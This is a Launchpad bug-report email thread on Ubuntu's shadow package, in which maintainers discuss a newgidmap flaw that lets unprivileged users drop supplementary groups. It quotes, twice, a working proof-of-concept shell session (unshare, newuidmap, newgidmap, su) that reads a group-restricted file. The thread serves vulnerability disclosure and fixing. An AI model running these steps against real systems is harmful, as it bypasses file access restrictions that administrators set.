[Bug 1729357] Re: unprivileged user can drop supplementary groups

[Serge Hallyn]

This sounds acceptable to me.  Issues or (even better) PRs against
github.com/shadow-maint/shadow would be great :)

Indeed the default should be the more permissible.  (I won't accept
patches which require changes to the container runtime.)


On Mon, Jan 15, 2018 at 9:13 AM, Akihiro Suda <suda.kyoto at gmail.com> wrote:
>> And we define flags "allow_setgroups" and "deny_setgrouops" (with
> "deny_setgroups" being the default).
>
>
> I think allow_setgropus should be the default for keeping compatibility.
>
> However, useradd(8) may print warning for the default configuration.
>
> --
> You received this bug notification because you are subscribed to the bug
> report.
> https://bugs.launchpad.net/bugs/1729357
>
> Title:
>   unprivileged user can drop supplementary groups
>
> Status in shadow package in Ubuntu:
>   Confirmed
>
> Bug description:
>   Distribution: Ubuntu 16.04.3 LTS
>   Kernel: 4.4.0-97-generic
>   uidmap package version: 1:4.2-3.1ubuntu5.3
>
>   The newgidmap setuid executable allows any user to write a single
>   mapping line to the gid_map of a process whose identity is the same as
>   the calling process, as long as that mapping line maps the process's
>   own GID outside of the user namespace to GID 0 inside the user
>   namespace.
>
>   Newgidmap will write the mapping regardless of the content of
>   /proc/$process_being_mapped/setgroups, which will initially contain
>   the string "allow". After this mapping is performed, and also after
>   the process' uid_map is written with newuidmap, the process in the
>   user namespace will be able to use the setgroups system call to drop
>   supplementary groups.
>
>   This is possible even if there is no entry for the user in
>   /etc/subgid, because no subordinate GIDs are actually being used.
>
>   This allows any user to circumvent the use of supplementary groups as
>   blacklists, e.g. for some file owned by root:blacklist with permission
>   bits 0604 (octal). Normally any process whose identity included the
>   group "blacklist" in its supplementary groups would not be able to
>   read that file. By performing this exploit using newgidmap, they can
>   drop all supplementary groups and read that file.
>
>   If newgidmap was not available, unprivileged users would not be able
>   to write a process's gid_map until writing "deny" to
>   /proc/$pid/setgroups. A fix for this might be for newgidmap to check
>   the content of /proc/$process_being_mapped/setgroups is "deny", but we
>   have not tried to patch this ourselves.
>
>   An example using 2 login shells for a user named "someone" on Ubuntu
>   Xenial, with the uidmap package installed:
>
>   Shell 1
>
>   someone at ubuntu-xenial:~$ id
>   uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
>
>   someone at ubuntu-xenial:~$ ls -al /tmp/should_restrict
>   -rw----r-- 1 root restricted 8 Nov  1 12:23 /tmp/should_restrict
>
>   someone at ubuntu-xenial:~$ cat /tmp/should_restrict
>   cat: /tmp/should_restrict: Permission denied
>
>   someone at ubuntu-xenial:~$ unshare -U --setgroups allow #
>   /proc/self/setgroups already contains 'allow', but let's be explicit
>
>   nobody at ubuntu-xenial:~$ echo $$
>   1878
>
>   Shell 2
>
>   someone at ubuntu-xenial:~$ cat /etc/subuid
>   lxd:100000:65536
>   root:100000:65536
>   ubuntu:165536:65536
>
>   someone at ubuntu-xenial:~$ cat /etc/subgid
>   lxd:100000:65536
>   root:100000:65536
>   ubuntu:165536:65536
>
>   # There are no entries in /etc/sub{u,g}id for someone, but this
>   doesn't matter that much as subordinate IDs are not being requested.
>
>   someone at ubuntu-xenial:~$ newuidmap 1878 0 1001 1
>
>   someone at ubuntu-xenial:~$ newgidmap 1878 0 1001 1
>
>   Back to shell 1
>
>   nobody at ubuntu-xenial:~$ id
>   uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
>
>   # The presence of the "nogroup" supplementary group indicates that
>   some unmapped GIDs are present as supplementary GIDs. The kernel knows
>   that this process still has "restricted" in its supplementary groups,
>   so it can't read the restricted file yet.
>
>   nobody at ubuntu-xenial:~$ cat /tmp/should_restrict
>   cat: /tmp/should_restrict: Permission denied
>
>   # The process has gained CAP_SETGID in its user namespace by becoming
>   UID 0. /proc/$pid/setgroups contains "allow", so it can call
>   setgroups(2). By su-ing to root (itself, in the user namespace), it
>   can drop the supplementary groups. It can't read /root/.bashrc as that
>   file is owned by UID 0 in the initial user namespace, which creates
>   some distracting error output but doesn't matter in this case.
>
>   nobody at ubuntu-xenial:~$ su root
>   su: Authentication failure
>   (Ignored)
>   bash: /root/.bashrc: Permission denied
>
>   # Supplementary groups have been dropped
>
>   root at ubuntu-xenial:~# id
>   uid=0(root) gid=0(root) groups=0(root)
>
>   # It can read the restricted file
>
>   root at ubuntu-xenial:~# cat /tmp/should_restrict
>   content
>
> To manage notifications about this bug go to:
> https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions

-- 
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1729357

Title:
  unprivileged user can drop supplementary groups

Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  Distribution: Ubuntu 16.04.3 LTS
  Kernel: 4.4.0-97-generic
  uidmap package version: 1:4.2-3.1ubuntu5.3

  The newgidmap setuid executable allows any user to write a single
  mapping line to the gid_map of a process whose identity is the same as
  the calling process, as long as that mapping line maps the process's
  own GID outside of the user namespace to GID 0 inside the user
  namespace.

  Newgidmap will write the mapping regardless of the content of
  /proc/$process_being_mapped/setgroups, which will initially contain
  the string "allow". After this mapping is performed, and also after
  the process' uid_map is written with newuidmap, the process in the
  user namespace will be able to use the setgroups system call to drop
  supplementary groups.

  This is possible even if there is no entry for the user in
  /etc/subgid, because no subordinate GIDs are actually being used.

  This allows any user to circumvent the use of supplementary groups as
  blacklists, e.g. for some file owned by root:blacklist with permission
  bits 0604 (octal). Normally any process whose identity included the
  group "blacklist" in its supplementary groups would not be able to
  read that file. By performing this exploit using newgidmap, they can
  drop all supplementary groups and read that file.

  If newgidmap was not available, unprivileged users would not be able
  to write a process's gid_map until writing "deny" to
  /proc/$pid/setgroups. A fix for this might be for newgidmap to check
  the content of /proc/$process_being_mapped/setgroups is "deny", but we
  have not tried to patch this ourselves.

  An example using 2 login shells for a user named "someone" on Ubuntu
  Xenial, with the uidmap package installed:

  Shell 1

  someone at ubuntu-xenial:~$ id
  uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)

  someone at ubuntu-xenial:~$ ls -al /tmp/should_restrict
  -rw----r-- 1 root restricted 8 Nov  1 12:23 /tmp/should_restrict

  someone at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  someone at ubuntu-xenial:~$ unshare -U --setgroups allow #
  /proc/self/setgroups already contains 'allow', but let's be explicit

  nobody at ubuntu-xenial:~$ echo $$
  1878

  Shell 2

  someone at ubuntu-xenial:~$ cat /etc/subuid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  someone at ubuntu-xenial:~$ cat /etc/subgid
  lxd:100000:65536
  root:100000:65536
  ubuntu:165536:65536

  # There are no entries in /etc/sub{u,g}id for someone, but this
  doesn't matter that much as subordinate IDs are not being requested.

  someone at ubuntu-xenial:~$ newuidmap 1878 0 1001 1

  someone at ubuntu-xenial:~$ newgidmap 1878 0 1001 1

  Back to shell 1

  nobody at ubuntu-xenial:~$ id
  uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

  # The presence of the "nogroup" supplementary group indicates that
  some unmapped GIDs are present as supplementary GIDs. The kernel knows
  that this process still has "restricted" in its supplementary groups,
  so it can't read the restricted file yet.

  nobody at ubuntu-xenial:~$ cat /tmp/should_restrict
  cat: /tmp/should_restrict: Permission denied

  # The process has gained CAP_SETGID in its user namespace by becoming
  UID 0. /proc/$pid/setgroups contains "allow", so it can call
  setgroups(2). By su-ing to root (itself, in the user namespace), it
  can drop the supplementary groups. It can't read /root/.bashrc as that
  file is owned by UID 0 in the initial user namespace, which creates
  some distracting error output but doesn't matter in this case.

  nobody at ubuntu-xenial:~$ su root
  su: Authentication failure
  (Ignored)
  bash: /root/.bashrc: Permission denied

  # Supplementary groups have been dropped

  root at ubuntu-xenial:~# id
  uid=0(root) gid=0(root) groups=0(root)

  # It can read the restricted file

  root at ubuntu-xenial:~# cat /tmp/should_restrict
  content

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions